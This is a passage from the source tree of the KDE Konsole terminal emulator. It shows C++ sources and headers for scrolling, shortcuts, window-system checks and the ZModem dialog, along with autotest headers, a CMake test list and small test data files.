setRemoteTabTitleText(const QString &); 34 | void setColor(const QColor &); 35 | 36 | void focusTabTitleText(); 37 | void focusRemoteTabTitleText(); 38 | 39 | private: 40 | Q_DISABLE_COPY(RenameTabDialog) 41 | 42 | Ui::RenameTabDialog *_ui; 43 | }; 44 | } 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /src/RenameTabDialog.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | RenameTabDialog 4 | 5 | 6 | 7 | 0 8 | 0 9 | 325 10 | 110 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | Konsole::RenameTabWidget 22 | QWidget 23 |
widgets/RenameTabWidget.h
24 |
25 |
26 | 27 | 28 |
29 | -------------------------------------------------------------------------------- /src/ScrollState.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2015 Lindsay Roberts 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "ScrollState.h" 8 | 9 | #include 10 | 11 | using namespace Konsole; 12 | 13 | void ScrollState::addWheelEvent(const QWheelEvent *wheel) 14 | { 15 | if ((wheel->angleDelta().y() != 0) && (wheel->pixelDelta().y() == 0)) { 16 | _remainingScrollPixel = 0; 17 | } else { 18 | _remainingScrollPixel += wheel->pixelDelta().y(); 19 | } 20 | _remainingScrollAngle += wheel->angleDelta().y(); 21 | } 22 | 23 | void ScrollState::clearAll() 24 | { 25 | _remainingScrollPixel = 0; 26 | _remainingScrollAngle = 0; 27 | } 28 | 29 | int ScrollState::consumeLegacySteps(int stepsize) 30 | { 31 | if (stepsize < 1) { 32 | stepsize = DEFAULT_ANGLE_SCROLL_LINE; 33 | } 34 | const int steps = _remainingScrollAngle / stepsize; 35 | _remainingScrollAngle -= steps * stepsize; 36 | if (steps != 0) { 37 | _remainingScrollPixel = 0; 38 | } 39 | return steps; 40 | } 41 | 42 | int ScrollState::consumeSteps(int pixelStepSize, int angleStepSize) 43 | { 44 | if (_remainingScrollPixel != 0) { 45 | int steps = _remainingScrollPixel / pixelStepSize; 46 | _remainingScrollPixel -= steps * pixelStepSize; 47 | _remainingScrollAngle = 0; 48 | return steps; 49 | } 50 | int steps = _remainingScrollAngle / angleStepSize; 51 | _remainingScrollAngle -= steps * angleStepSize; 52 | _remainingScrollPixel = 0; 53 | return steps; 54 | } 55 | -------------------------------------------------------------------------------- /src/Shortcut_p.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2015 René J.V. Bertin 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef SHORTCUT_H 8 | #define SHORTCUT_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | /** 15 | * Platform-specific main shortcut "opcode": 16 | */ 17 | enum Modifier { 18 | #ifdef Q_OS_MACOS 19 | // Use plain Command key for shortcuts 20 | ACCEL = Qt::CTRL, 21 | #else 22 | // Use Ctrl+Shift for shortcuts 23 | ACCEL = Qt::CTRL | Qt::SHIFT, 24 | #endif 25 | }; 26 | } 27 | 28 | #endif // SHORTCUT_H 29 | -------------------------------------------------------------------------------- /src/ShouldApplyProperty.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #include "ShouldApplyProperty.h" 10 | 11 | using namespace Konsole; 12 | 13 | ShouldApplyProperty::ShouldApplyProperty(const Profile::Ptr &profile, bool modifiedOnly) 14 | : _profile(profile) 15 | , _modifiedPropertiesOnly(modifiedOnly) 16 | { 17 | } 18 | 19 | bool ShouldApplyProperty::shouldApply(Profile::Property property) const 20 | { 21 | return !_modifiedPropertiesOnly || _profile->isPropertySet(property); 22 | } 23 | -------------------------------------------------------------------------------- /src/ShouldApplyProperty.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef SHOULDAPPLYPROPERTY_H 10 | #define SHOULDAPPLYPROPERTY_H 11 | 12 | #include "konsoleprivate_export.h" 13 | #include "profile/Profile.h" 14 | 15 | namespace Konsole 16 | { 17 | /** Utility class to simplify code in SessionManager::applyProfile(). */ 18 | class KONSOLEPRIVATE_EXPORT ShouldApplyProperty 19 | { 20 | public: 21 | ShouldApplyProperty(const Profile::Ptr &profile, bool modifiedOnly); 22 | 23 | bool shouldApply(Profile::Property property) const; 24 | 25 | private: 26 | const Profile::Ptr _profile; 27 | bool _modifiedPropertiesOnly; 28 | }; 29 | } 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /src/WindowSystemInfo.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2012 Jekyll Wu 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "WindowSystemInfo.h" 9 | 10 | #include "config-konsole.h" 11 | 12 | #include 13 | 14 | #if WITH_X11 15 | #include 16 | #include 17 | #endif 18 | 19 | using Konsole::WindowSystemInfo; 20 | 21 | bool WindowSystemInfo::HAVE_TRANSPARENCY = false; 22 | 23 | bool WindowSystemInfo::compositingActive() 24 | { 25 | #if WITH_X11 26 | return !KWindowSystem::isPlatformX11() || KX11Extras::compositingActive(); 27 | #else 28 | return true; 29 | #endif 30 | } 31 | -------------------------------------------------------------------------------- /src/WindowSystemInfo.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2012 Jekyll Wu 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef WINDOWSYSTEMINFO_H 8 | #define WINDOWSYSTEMINFO_H 9 | 10 | #include "konsoleprivate_export.h" 11 | 12 | namespace Konsole 13 | { 14 | class KONSOLEPRIVATE_EXPORT WindowSystemInfo 15 | { 16 | public: 17 | static bool HAVE_TRANSPARENCY; 18 | 19 | static bool compositingActive(); 20 | }; 21 | } 22 | 23 | #endif // WINDOWSYSTEMINFO_H 24 | -------------------------------------------------------------------------------- /src/ZModemDialog.h: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: 2002 Waldo Bastian 3 | * 4 | * SPDX-License-Identifier: LGPL-2.0-only 5 | **/ 6 | 7 | #ifndef ZMODEM_DIALOG_H 8 | #define ZMODEM_DIALOG_H 9 | 10 | #include 11 | 12 | #include "konsoleprivate_export.h" 13 | 14 | class KTextEdit; 15 | class QDialogButtonBox; 16 | namespace Konsole 17 | { 18 | class KONSOLEPRIVATE_EXPORT ZModemDialog : public QDialog 19 | { 20 | Q_OBJECT 21 | 22 | public: 23 | ZModemDialog(QWidget *parent, bool modal, const QString &caption); 24 | 25 | /** 26 | * Adds a line of text to the progress window 27 | */ 28 | void addText(const QString &); 29 | 30 | /** 31 | * Adds a line of text without a new line to the progress window 32 | */ 33 | void addProgressText(const QString &); 34 | 35 | /** 36 | * To indicate the process is finished. 37 | */ 38 | void transferDone(); 39 | 40 | Q_SIGNALS: 41 | void zmodemCancel(); 42 | 43 | private Q_SLOTS: 44 | void slotClose(); 45 | void slotCancel(); 46 | 47 | private: 48 | Q_DISABLE_COPY(ZModemDialog) 49 | 50 | void delayedDestruct(); 51 | KTextEdit *_textEdit; 52 | QDialogButtonBox *mButtonBox; 53 | }; 54 | } 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /src/autotests/BookMarkTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2019 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef BOOKMARKTEST_H 8 | #define BOOKMARKTEST_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | class BookMarkTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | void testBookMarkURLs_data(); 20 | void testBookMarkURLs(); 21 | 22 | private: 23 | }; 24 | 25 | } 26 | 27 | #endif // BOOKMARKTEST_H 28 | -------------------------------------------------------------------------------- /src/autotests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include(ECMAddTests) 2 | 3 | set(EXECUTABLE_OUTPUT_PATH ${CMAKE_CURRENT_BINARY_DIR}) 4 | 5 | set(KONSOLE_TEST_LIBS Qt::Test konsoleprivate konsolecharacters konsoledecoders konsoleapp) 6 | 7 | # Temporary bypass for BKO 432379 8 | if(BUILD_SHARED_LIBS) 9 | ecm_add_test(KeyboardTranslatorTest.cpp LINK_LIBRARIES ${KONSOLE_TEST_LIBS}) 10 | endif() 11 | 12 | if(NOT ${CMAKE_SYSTEM_NAME} MATCHES "Darwin" AND NOT WIN32) 13 | ecm_add_test( 14 | PartTest.cpp 15 | LINK_LIBRARIES KF6::XmlGui KF6::Parts KF6::Pty ${KONSOLE_TEST_LIBS} 16 | ) 17 | endif() 18 | 19 | ecm_add_tests( 20 | BookMarkTest.cpp 21 | CharacterColorTest.cpp 22 | CharacterTest.cpp 23 | CharacterWidthTest.cpp 24 | HotSpotFilterTest.cpp 25 | ProcessInfoTest.cpp 26 | ProfileTest.cpp 27 | ScreenTest.cpp 28 | ShellCommandTest.cpp 29 | TerminalCharacterDecoderTest.cpp 30 | Vt102EmulationTest.cpp 31 | LINK_LIBRARIES ${KONSOLE_TEST_LIBS} 32 | ) 33 | 34 | if(NOT WIN32) 35 | ecm_add_tests( 36 | PtyTest.cpp 37 | LINK_LIBRARIES KF6::Pty ${KONSOLE_TEST_LIBS} 38 | ) 39 | endif() 40 | 41 | ecm_add_tests( 42 | HistoryTest.cpp 43 | SessionTest.cpp 44 | TerminalInterfaceTest.cpp 45 | TerminalTest.cpp 46 | ViewManagerTest.cpp 47 | LINK_LIBRARIES ${KONSOLE_TEST_LIBS} KF6::Parts 48 | ) 49 | -------------------------------------------------------------------------------- /src/autotests/CharacterColorTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef CHARACTERCOLORTEST_H 8 | #define CHARACTERCOLORTEST_H 9 | 10 | #include 11 | 12 | #include "../characters/CharacterColor.h" 13 | 14 | namespace Konsole 15 | { 16 | class CharacterColorTest : public QObject 17 | { 18 | Q_OBJECT 19 | 20 | private Q_SLOTS: 21 | void init(); 22 | void cleanup(); 23 | 24 | void testColorEntry(); 25 | 26 | void testDummyConstructor(); 27 | void testColorSpaceDefault_data(); 28 | void testColorSpaceDefault(); 29 | void testColorSpaceSystem_data(); 30 | void testColorSpaceSystem(); 31 | void testColorSpaceRGB_data(); 32 | void testColorSpaceRGB(); 33 | void testColor256_data(); 34 | void testColor256(); 35 | 36 | private: 37 | static const QColor DefaultColorTable[]; 38 | }; 39 | 40 | } 41 | 42 | #endif // CHARACTERCOLORTEST_H 43 | -------------------------------------------------------------------------------- /src/autotests/CharacterTest.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2019 Tomaz Canabrava 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "CharacterTest.h" 8 | #include "Character.h" 9 | 10 | #include 11 | #include 12 | 13 | QTEST_GUILESS_MAIN(Konsole::CharacterTest) 14 | 15 | #include "moc_CharacterTest.cpp" 16 | -------------------------------------------------------------------------------- /src/autotests/CharacterTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2019 Tomaz Canabrava 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #pragma once 8 | 9 | #include 10 | 11 | namespace Konsole 12 | { 13 | class CharacterTest : public QObject 14 | { 15 | Q_OBJECT 16 | 17 | private Q_SLOTS: 18 | }; 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/autotests/CharacterWidthTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2014 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef CHARACTERWIDTHTEST_H 8 | #define CHARACTERWIDTHTEST_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | class CharacterWidthTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | 20 | void testWidth_data(); 21 | void testWidth(); 22 | }; 23 | 24 | } 25 | 26 | #endif // CHARACTERWIDTHTEST_H 27 | -------------------------------------------------------------------------------- /src/autotests/DBusTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2010 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef DBUSTEST_H 8 | #define DBUSTEST_H 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | class QProcess; 19 | 20 | namespace Konsole 21 | { 22 | class DBusTest : public QObject 23 | { 24 | Q_OBJECT 25 | public: 26 | private Q_SLOTS: 27 | void initTestCase(); 28 | void cleanupTestCase(); 29 | void testSessions(); 30 | void testWindows(); 31 | 32 | // protected slots are not treated as test cases 33 | protected Q_SLOTS: 34 | 35 | private: 36 | QString _interfaceName; 37 | QProcess *_process = nullptr; 38 | 39 | QString _testProfileName; 40 | QString _testProfilePath; 41 | QString _testProfileEnv; 42 | }; 43 | 44 | } 45 | 46 | #endif // DBUSTEST_H 47 | -------------------------------------------------------------------------------- /src/autotests/HistoryTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYTEST_H 8 | #define HISTORYTEST_H 9 | 10 | #include 11 | 12 | #include "../characters/Character.h" 13 | #include "../history/HistoryScrollFile.h" 14 | #include "../history/HistoryScrollNone.h" 15 | #include "../history/HistoryTypeFile.h" 16 | #include "../history/HistoryTypeNone.h" 17 | #include "../history/compact/CompactHistoryScroll.h" 18 | #include "../history/compact/CompactHistoryType.h" 19 | 20 | namespace Konsole 21 | { 22 | class HistoryTest : public QObject 23 | { 24 | Q_OBJECT 25 | 26 | private Q_SLOTS: 27 | void initTestCase(); 28 | void cleanupTestCase(); 29 | void testHistoryNone(); 30 | void testHistoryFile(); 31 | void testCompactHistory(); 32 | void testEmulationHistory(); 33 | void testHistoryScroll(); 34 | void testHistoryReflow(); 35 | void testHistoryTypeChange(); 36 | 37 | private: 38 | static constexpr const char testString[] = "abcdefghijklmnopqrstuvwxyz1234567890"; 39 | static constexpr const int testStringSize = sizeof(testString) / sizeof(char) - 1; 40 | Character *testImage = nullptr; 41 | }; 42 | 43 | } 44 | 45 | #endif // HISTORYTEST_H 46 | -------------------------------------------------------------------------------- /src/autotests/HotSpotFilterTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2022 Ahmad Samir 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HOTSPOTFILTERTEST_H 8 | #define HOTSPOTFILTERTEST_H 9 | 10 | #include "filterHotSpots/UrlFilter.h" 11 | 12 | class HotSpotFilterTest : public QObject 13 | { 14 | Q_OBJECT 15 | 16 | private Q_SLOTS: 17 | void testUrlFilterRegex_data(); 18 | void testUrlFilterRegex(); 19 | 20 | void testUrlFilter_data(); 21 | void testUrlFilter(); 22 | }; 23 | 24 | #endif // HOTSPOTFILTERTEST_H 25 | -------------------------------------------------------------------------------- /src/autotests/KeyboardTranslatorTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef KEYBOARDTRANSLATORTEST_H 8 | #define KEYBOARDTRANSLATORTEST_H 9 | 10 | #include "keyboardtranslator/KeyboardTranslator.h" 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | class KeyboardTranslatorTest : public QObject 16 | { 17 | Q_OBJECT 18 | 19 | private Q_SLOTS: 20 | void testEntryTextWildcards(); 21 | void testEntryTextWildcards_data(); 22 | void testHexKeys(); 23 | }; 24 | 25 | } 26 | 27 | #endif // KEYBOARDTRANSLATORTEST_H 28 | -------------------------------------------------------------------------------- /src/autotests/PartTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PARTTEST_H 8 | #define PARTTEST_H 9 | 10 | #include 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | class PartTest : public QObject 16 | { 17 | Q_OBJECT 18 | 19 | private Q_SLOTS: 20 | void initTestCase(); 21 | void testFdShell(); 22 | void testFdStandalone(); 23 | 24 | private: 25 | void testFd(bool runShell); 26 | KParts::Part *createPart(); 27 | }; 28 | 29 | } 30 | 31 | #endif // PARTTEST_H 32 | -------------------------------------------------------------------------------- /src/autotests/ProcessInfoTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2023 Theodore Wang 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PROCESSINFOTEST_H 8 | #define PROCESSINFOTEST_H 9 | 10 | // Others 11 | #include 12 | 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | 18 | class ProcessInfo; 19 | 20 | class ProcessInfoTest : public QObject 21 | { 22 | Q_OBJECT 23 | 24 | private Q_SLOTS: 25 | // testing of ProcessInfo::update is itnegrated into the tests 26 | void testProcessValidity(); 27 | void testProcessCwd(); 28 | void testProcessNameSpecialChars(); 29 | 30 | private: 31 | std::unique_ptr createProcInfo(const KProcess &proc); 32 | }; 33 | 34 | } // PROCESSINFOTEST_H 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /src/autotests/ProfileTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PROFILETEST_H 8 | #define PROFILETEST_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | class ProfileTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | void initTestCase(); 20 | void testProfile(); 21 | void testClone(); 22 | void testProfileGroup(); 23 | void testProfileFileNames(); 24 | void testProfileNameSorting(); 25 | void testBuiltinProfile(); 26 | void testLoadProfileNamedAsBuiltin(); 27 | void testInvalidParentProfile(); 28 | }; 29 | 30 | } 31 | 32 | #endif // PROFILETEST_H 33 | -------------------------------------------------------------------------------- /src/autotests/PtyTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PTYTEST_H 8 | #define PTYTEST_H 9 | 10 | #include "../Pty.h" 11 | 12 | namespace Konsole 13 | { 14 | class PtyTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | void init(); 20 | void cleanup(); 21 | 22 | void testFlowControl(); 23 | void testEraseChar(); 24 | void testUseUtmp(); 25 | void testWindowSize(); 26 | 27 | void testRunProgram(); 28 | }; 29 | 30 | } 31 | 32 | #endif // PTYTEST_H 33 | -------------------------------------------------------------------------------- /src/autotests/ScreenTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020 Lukasz Kotula 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef SCREENTEST_H 8 | #define SCREENTEST_H 9 | 10 | #include 11 | 12 | #include "../Screen.h" 13 | 14 | namespace Konsole 15 | { 16 | class ScreenTest : public QObject 17 | { 18 | Q_OBJECT 19 | 20 | private Q_SLOTS: 21 | void testLargeScreenCopyShortLine(); 22 | void testLargeScreenCopyEmptyLine(); 23 | void testLargeScreenCopyLongLine(); 24 | void testBlockSelection(); 25 | void testCJKBlockSelection(); 26 | void testCursorPosition(); 27 | 28 | private: 29 | void doLargeScreenCopyVerification(const QString &putToScreen, const QString &expectedSelection); 30 | void doComparePosition(Screen *screen, int y, int x); 31 | 32 | const int largeScreenLines = 10; 33 | const int largeScreenColumns = 1200; 34 | }; 35 | 36 | } 37 | 38 | #endif // SCREENTEST_H 39 | -------------------------------------------------------------------------------- /src/autotests/SessionManagerTest.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "session/SessionManagerTest.h" 9 | 10 | // KDE 11 | #include 12 | 13 | using namespace Konsole; 14 | 15 | void SessionManagerTest::testWarnNotImplemented() 16 | { 17 | qWarning() << "SessionManager tests not implemented"; 18 | } 19 | 20 | void SessionManagerTest::init() 21 | { 22 | } 23 | 24 | void SessionManagerTest::cleanup() 25 | { 26 | } 27 | 28 | QTEST_MAIN_CORE(SessionManagerTest) 29 | 30 | #include "moc_SessionManagerTest.cpp" 31 | -------------------------------------------------------------------------------- /src/autotests/SessionManagerTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef SESSIONMANAGERTEST_H 8 | #define SESSIONMANAGERTEST_H 9 | 10 | namespace Konsole 11 | { 12 | class SessionManagerTest : public QObject 13 | { 14 | Q_OBJECT 15 | 16 | private Q_SLOTS: 17 | void init(); 18 | void cleanup(); 19 | 20 | void testWarnNotImplemented(); 21 | }; 22 | 23 | } 24 | 25 | #endif // SESSIONMANAGERTEST_H 26 | -------------------------------------------------------------------------------- /src/autotests/SessionTest.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "SessionTest.h" 9 | 10 | #include 11 | 12 | // Konsole 13 | #include "../Emulation.h" 14 | #include "../session/Session.h" 15 | 16 | using namespace Konsole; 17 | 18 | void SessionTest::testNoProfile() 19 | { 20 | auto session = new Session(); 21 | 22 | // No profile loaded, nothing to run 23 | QCOMPARE(session->isRunning(), false); 24 | QCOMPARE(session->sessionId(), 1); 25 | QCOMPARE(session->isRemote(), false); 26 | QCOMPARE(session->program(), QString()); 27 | QCOMPARE(session->arguments(), QStringList()); 28 | QCOMPARE(session->tabTitleFormat(Session::LocalTabTitle), QString()); 29 | QCOMPARE(session->tabTitleFormat(Session::RemoteTabTitle), QString()); 30 | 31 | delete session; 32 | } 33 | 34 | void SessionTest::testEmulation() 35 | { 36 | auto session = new Session(); 37 | 38 | Emulation *emulation = session->emulation(); 39 | 40 | QCOMPARE(emulation->lineCount(), 40); 41 | 42 | delete session; 43 | } 44 | 45 | QTEST_MAIN(SessionTest) 46 | 47 | #include "moc_SessionTest.cpp" 48 | -------------------------------------------------------------------------------- /src/autotests/SessionTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef SESSIONTEST_H 8 | #define SESSIONTEST_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | class SessionTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | void testNoProfile(); 20 | void testEmulation(); 21 | 22 | private: 23 | }; 24 | 25 | } 26 | 27 | #endif // SESSIONTEST_H 28 | -------------------------------------------------------------------------------- /src/autotests/ShellCommandTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef SHELLCOMMANDTEST_H 9 | #define SHELLCOMMANDTEST_H 10 | 11 | #include 12 | 13 | #include "../ShellCommand.h" 14 | 15 | namespace Konsole 16 | { 17 | class ShellCommandTest : public QObject 18 | { 19 | Q_OBJECT 20 | 21 | private Q_SLOTS: 22 | void init(); 23 | void cleanup(); 24 | 25 | void testConstructorWithOneArguemnt(); 26 | void testConstructorWithTwoArguments(); 27 | void testExpandEnvironmentVariable(); 28 | void testValidEnvCharacter(); 29 | void testValidLeadingEnvCharacter(); 30 | void testArgumentsWithSpaces(); 31 | void testEmptyCommand(); 32 | }; 33 | 34 | } 35 | 36 | #endif // SHELLCOMMANDTEST_H 37 | -------------------------------------------------------------------------------- /src/autotests/TerminalCharacterDecoderTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2008 Robert Knight 3 | SPDX-FileCopyrightText: 2018 Kurt Hindenburg 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef TERMINALCHARACTERDECODERTEST_H 9 | #define TERMINALCHARACTERDECODERTEST_H 10 | 11 | #include 12 | 13 | #include "../characters/Character.h" 14 | 15 | namespace Konsole 16 | { 17 | class TerminalCharacterDecoderTest : public QObject 18 | { 19 | Q_OBJECT 20 | 21 | private Q_SLOTS: 22 | void convertToCharacter(Character *charResult, const QString &text, QVector renditions); 23 | void testPlainTextDecoder(); 24 | void testPlainTextDecoder_data(); 25 | void testHTMLDecoder(); 26 | void testHTMLDecoder_data(); 27 | }; 28 | 29 | } 30 | 31 | #endif // TERMINALCHARACTERDECODERTEST_H 32 | -------------------------------------------------------------------------------- /src/autotests/TerminalInterfaceTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2014 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef TERMINALINTERFACETEST_H 8 | #define TERMINALINTERFACETEST_H 9 | 10 | #include 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | class TerminalInterfaceTest : public QObject 16 | { 17 | Q_OBJECT 18 | 19 | public: 20 | private Q_SLOTS: 21 | void initTestCase(); 22 | void testTerminalInterfaceNoShell(); 23 | void testTerminalInterface(); 24 | void testTerminalInterfaceUsingSpy(); 25 | void testTerminalInterfaceV2(); 26 | 27 | private: 28 | KParts::Part *createPart(); 29 | 30 | KParts::Part *_terminalPart = nullptr; 31 | }; 32 | 33 | } 34 | 35 | #endif // TERMINALINTERFACETEST_H 36 | -------------------------------------------------------------------------------- /src/autotests/TerminalTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2013 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef TERMINALTEST_H 8 | #define TERMINALTEST_H 9 | 10 | #include 11 | 12 | namespace Konsole 13 | { 14 | class TerminalTest : public QObject 15 | { 16 | Q_OBJECT 17 | 18 | private Q_SLOTS: 19 | void testScrollBarPositions(); 20 | void testColorTable(); 21 | void testSize(); 22 | 23 | private: 24 | }; 25 | 26 | } 27 | 28 | #endif // TERMINALTEST_H 29 | -------------------------------------------------------------------------------- /src/autotests/ViewManagerTest.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2025 Akseli Lahtinen 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef VIEWMANAGERTEST_H 8 | #define VIEWMANAGERTEST_H 9 | 10 | #include 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | class ViewManagerTest : public QObject 16 | { 17 | Q_OBJECT 18 | 19 | private Q_SLOTS: 20 | void initTestCase(); 21 | void testSaveLayout(); 22 | void testLoadLayout(); 23 | 24 | private: 25 | QTemporaryDir *m_testDir; 26 | }; 27 | 28 | } 29 | 30 | #endif // VIEWMANAGERTEST_H 31 | -------------------------------------------------------------------------------- /src/autotests/data/bookmarks.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | machine 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | machine system.log 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | folder 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | double quote 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | single quote 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /src/autotests/data/invalid-parent.profile: -------------------------------------------------------------------------------- 1 | [General] 2 | Icon=terminator 3 | Name=TestInvalidParentProfile 4 | Parent=/this/doesnt/exist/X.profile/ 5 | -------------------------------------------------------------------------------- /src/autotests/data/named-built-in.profile: -------------------------------------------------------------------------------- 1 | [General] 2 | Icon=terminator 3 | Name=Built-in 4 | Parent=FALLBACK/ 5 | -------------------------------------------------------------------------------- /src/autotests/data/test.keytab: -------------------------------------------------------------------------------- 1 | # Test keytab file 2 | # 3 | # -------------------------------------------------------------- 4 | 5 | keyboard "Test" 6 | 7 | # -------------------------------------------------------------- 8 | 9 | key Space : "\x00" 10 | 11 | key Backspace : "\x7f" 12 | 13 | key Delete : "\x08" 14 | 15 | -------------------------------------------------------------------------------- /src/characters/CMakeLists.txt: -------------------------------------------------------------------------------- 1 